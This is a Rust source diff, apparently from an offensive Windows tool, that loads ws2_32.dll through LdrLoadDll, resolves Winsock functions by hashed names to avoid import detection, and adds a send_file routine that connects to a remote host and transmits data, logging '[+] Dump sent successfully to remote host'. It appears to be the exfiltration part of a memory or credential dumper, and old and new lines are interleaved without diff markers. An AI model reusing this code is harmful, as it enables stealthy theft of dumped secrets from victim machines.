pub const IOCTLSOCKET_H: usize = 0xd5e978a9;
pub const SELECT_H: usize = 0xce86a705;
pub const WSAGETLASTERROR_H: usize = 0x9c1d912e;
let dll_name = "ws2_32.dll";
let mut ws2_win32_dll_unicode = UnicodeString::new();
let utf16_string: Vec<u16> = dll_name.encode_utf16().chain(Some(0)).collect();
ws2_win32_dll_unicode.init(utf16_string.as_ptr());
let mut ws2_win32_dll_unicode = UnicodeString::new();
let utf16_string: Vec<u16> = "ws2_32.dll".encode_utf16().chain(Some(0)).collect();
ws2_win32_dll_unicode.init(utf16_string.as_ptr());
let mut ws2_win32_handle: *mut c_void = null_mut();
let mut ws2_win32_handle: *mut c_void = null_mut();
(instance().ntdll.ldr_load_dll)(
if let Some(instance) = get_instance() {
(instance.ntdll.ldr_load_dll)(
null_mut(),
null_mut(),
ws2_win32_dll_unicode,
@@ -166,7 +181,6 @@ pub fn init_winsock_funcs() {
let ws2_32_module = ws2_win32_handle as *mut u8;
// Resolve function addresses using hashed names
let wsa_startup_addr = ldr_function(ws2_32_module, WSA_STARTUP_DBJ2);
let wsa_cleanup_addr = ldr_function(ws2_32_module, WSA_CLEANUP_DBJ2);
let socket_addr = ldr_function(ws2_32_module, SOCKET_DBJ2);
@@ -178,76 +192,57 @@ pub fn init_winsock_funcs() {
let htons_addr = ldr_function(ws2_32_module, HTONS_DBJ2);
let getaddrinfo_addr = ldr_function(ws2_32_module, GETADDRINFO_DBJ2);
let freeaddrinfo_addr = ldr_function(ws2_32_module, FREEADDRINFO_DBJ2);
let ioctlsocket_addr = ldr_function(ws2_32_module, IOCTLSOCKET_H);
let select_addr = ldr_function(ws2_32_module, SELECT_H);
let wsa_get_last_error_addr = ldr_function(ws2_32_module, WSAGETLASTERROR_H);
// Initialize Winsock functions
let mut winsock_functions = Winsock::new();
winsock_functions.wsa_startup = transmute(wsa_startup_addr);
winsock_functions.wsa_cleanup = transmute(wsa_cleanup_addr);
winsock_functions.socket = transmute(socket_addr);
winsock_functions.connect = transmute(connect_addr);
winsock_functions.send = transmute(send_addr);
winsock_functions.recv = transmute(recv_addr);
winsock_functions.closesocket = transmute(closesocket_addr);
winsock_functions.inet_addr = transmute(inet_addr_addr);
winsock_functions.htons = transmute(htons_addr);
winsock_functions.getaddrinfo = transmute(getaddrinfo_addr);
winsock_functions.freeaddrinfo = transmute(freeaddrinfo_addr);
winsock_functions.wsa_get_last_error = transmute(wsa_get_last_error_addr);
// Store the functions in the global variable
WINSOCK_FUNCS = Some(winsock_functions);
// Mark Winsock functions as initialized
INIT_WINSOCKS.store(true, Ordering::Release);
instance.winsock.wsa_startup = transmute(wsa_startup_addr);
instance.winsock.wsa_cleanup = transmute(wsa_cleanup_addr);
instance.winsock.socket = transmute(socket_addr);
instance.winsock.connect = transmute(connect_addr);
instance.winsock.send = transmute(send_addr);
instance.winsock.recv = transmute(recv_addr);
instance.winsock.closesocket = transmute(closesocket_addr);
instance.winsock.inet_addr = transmute(inet_addr_addr);
instance.winsock.htons = transmute(htons_addr);
instance.winsock.getaddrinfo = transmute(getaddrinfo_addr);
instance.winsock.freeaddrinfo = transmute(freeaddrinfo_addr);
instance.winsock.ioctlsocket = transmute(ioctlsocket_addr);
instance.winsock.select = transmute(select_addr);
instance.winsock.wsa_get_last_error = transmute(wsa_get_last_error_addr);
}
}
}
/// Gets the Winsock functions.
///
/// This function ensures the Winsock functions are initialized and returns a reference to them.
/// If the functions are not already initialized, it will initialize them first.
///
/// # Returns
/// * `&'static Winsock` - A reference to the initialized Winsock functions.
pub fn get_winsock() -> &'static Winsock {
init_winsock_funcs();
return unsafe { WINSOCK_FUNCS.as_ref().unwrap() };
}
#[allow(non_camel_case_types)]
pub type SOCKET = usize;
/// Cleans up the Winsock library.
///
/// This function cleans up the Winsock library, releasing any resources that were allocated.
/// This function does not return any values.
pub fn cleanup_winsock(sock: SOCKET) {
unsafe {
(get_winsock().closesocket)(sock);
(get_winsock().wsa_cleanup)();
}
}
/// Initializes the Winsock library for network operations on Windows.
/// Returns 0 on success, or the error code on failure.
pub fn init_winsock() -> i32 {
unsafe {
let mut wsa_data: WsaData = core::mem::zeroed();
let result = (get_winsock().wsa_startup)(0x0202, &mut wsa_data);
let result = (get_instance().unwrap().winsock.wsa_startup)(0x0202, &mut wsa_data);
if result != 0 {
return (get_winsock().wsa_get_last_error)();
return (get_instance().unwrap().winsock.wsa_get_last_error)();
}
result
}
}
/// Cleans up the Winsock library.
///
/// This function cleans up the Winsock library, releasing any resources that were allocated.
/// This function does not return any values.
pub fn cleanup_winsock(sock: SOCKET) {
unsafe {
(get_instance().unwrap().winsock.closesocket)(sock);
(get_instance().unwrap().winsock.wsa_cleanup)();
}
}
/// Creates a new TCP socket for network communication.
/// Returns the socket descriptor (SOCKET) or an error code on failure.
pub fn create_socket() -> SOCKET {
unsafe {
(get_winsock().socket)(2, 1, 6) // AF_INET, SOCK_STREAM, IPPROTO_TCP
(get_instance().unwrap().winsock.socket)(2, 1, 6) // AF_INET, SOCK_STREAM, IPPROTO_TCP
}
}
@@ -261,10 +256,15 @@ pub fn resolve_hostname(hostname: &str) -> u32 {
hints.ai_socktype = 1; // SOCK_STREAM
let mut res: *mut AddrInfo = null_mut();
let status = (get_winsock().getaddrinfo)(hostname_cstr.as_ptr(), null(), &hints, &mut res);
let status = (get_instance().unwrap().winsock.getaddrinfo)(
hostname_cstr.as_ptr(),
null(),
&hints,
&mut res,
);
if status != 0 {
return (get_winsock().wsa_get_last_error)() as u32;
return (get_instance().unwrap().winsock.wsa_get_last_error)() as u32;
}
let mut ip_addr: u32 = 0;
@@ -281,7 +281,7 @@ pub fn resolve_hostname(hostname: &str) -> u32 {
addr_info_ptr = addr_info.ai_next;
}
(get_winsock().freeaddrinfo)(res);
(get_instance().unwrap().winsock.freeaddrinfo)(res);
ip_addr
}
}
@@ -299,34 +299,45 @@ pub fn connect_socket(sock: SOCKET, addr: &str, port: u16) -> i32 {
let resolve_addr = resolve_hostname(addr);
let mut sockaddr_in: SockAddrIn = core::mem::zeroed();
sockaddr_in.sin_family = 2; // AF_INET
sockaddr_in.sin_port = (get_winsock().htons)(port);
sockaddr_in.sin_port = (get_instance().unwrap().winsock.htons)(port);
sockaddr_in.sin_addr.s_addr = resolve_addr;
let sockaddr = &sockaddr_in as *const _ as *const SockAddr;
let result =
(get_winsock().connect)(sock, sockaddr, core::mem::size_of::<SockAddrIn>() as i32);
let result = (get_instance().unwrap().winsock.connect)(
sock,
sockaddr,
core::mem::size_of::<SockAddrIn>() as i32,
);
if result != 0 {
return (get_winsock().wsa_get_last_error)();
return (get_instance().unwrap().winsock.wsa_get_last_error)();
}
result
}
}
/// Sends a request through a socket.
/// Sends data through a socket.
///
/// This function sends a request through the specified socket.
/// It returns a `Result` indicating whether the send operation was successful or not.
/// This function sends a specified byte array through the provided socket.
/// It returns an `i32`, where 0 indicates success, and any other value
/// represents the error code returned by `wsa_get_last_error`.
///
/// # Arguments
/// * `sock` - The socket descriptor.
/// * `request` - The request data to be sent.
pub fn send_request(sock: SOCKET, request: &[u8]) -> i32 {
/// * `data` - The data to be sent.
///
/// # Returns
/// * `i32` - 0 on success, or the error code on failure.
pub fn send_data(sock: SOCKET, data: &[u8]) -> i32 {
unsafe {
let result =
(get_winsock().send)(sock, request.as_ptr() as *const i8, request.len() as i32, 0);
let result = (get_instance().unwrap().winsock.send)(
sock,
data.as_ptr() as *const i8,
data.len() as i32,
0,
);
if result != 0 {
return (get_winsock().wsa_get_last_error)();
return (get_instance().unwrap().winsock.wsa_get_last_error)();
}
result
}
@@ -343,8 +354,9 @@ pub fn send_file(data: Vec<u8>, ip: &str, port: u16) {
let wsa_init_result = init_winsock();
if wsa_init_result != 0 {
debug_println!(
"[-] Failed to initialize Winsock with error: {}",
wsa_init_result
"[-] Failed to initialize Winsock with error: ",
wsa_init_result as usize,
false
);
return;
}
@@ -352,36 +364,35 @@ pub fn send_file(data: Vec<u8>, ip: &str, port: u16) {
// Create a socket.
let sock = create_socket();
if sock == usize::MAX {
unsafe {
let _error = (get_winsock().wsa_get_last_error)();
debug_println!("[-] Failed to create socket. Winsock error: {}", _error);
return;
}
debug_println!(
"[-] Failed to create socket with error: ",
unsafe { (get_instance().unwrap().winsock.wsa_get_last_error)() as usize },
false
);
return;
}
// Connect the socket to the IP and port.
let connect_result = connect_socket(sock, ip, port);
if connect_result != 0 {
debug_println!(
"[-] Failed to connect socket to {}:{} with error: {}",
ip,
port,
connect_result
"[-] Failed to connect socket with error: ",
connect_result as usize,
false
);
cleanup_winsock(sock);
return;
}
// Send the data.
let send_result = send_request(sock, &data);
let send_result = send_data(sock, &data);
// Check if sending the file was successful.
if send_result != 0 {
debug_println!(
"[-] Failed to send data to {}:{} with error: {}",
ip,
port,
send_result
"[-] Failed to send data to remote host with error code: ",
send_result as usize,
false
);
cleanup_winsock(sock);
return;
@@ -390,5 +401,5 @@ pub fn send_file(data: Vec<u8>, ip: &str, port: u16) {
// Close the socket.
cleanup_winsock(sock);
debug_println!("[+] Dump sent successfully to remote host");
debug_println!("[+] Dump sent successfully to remote host!");
}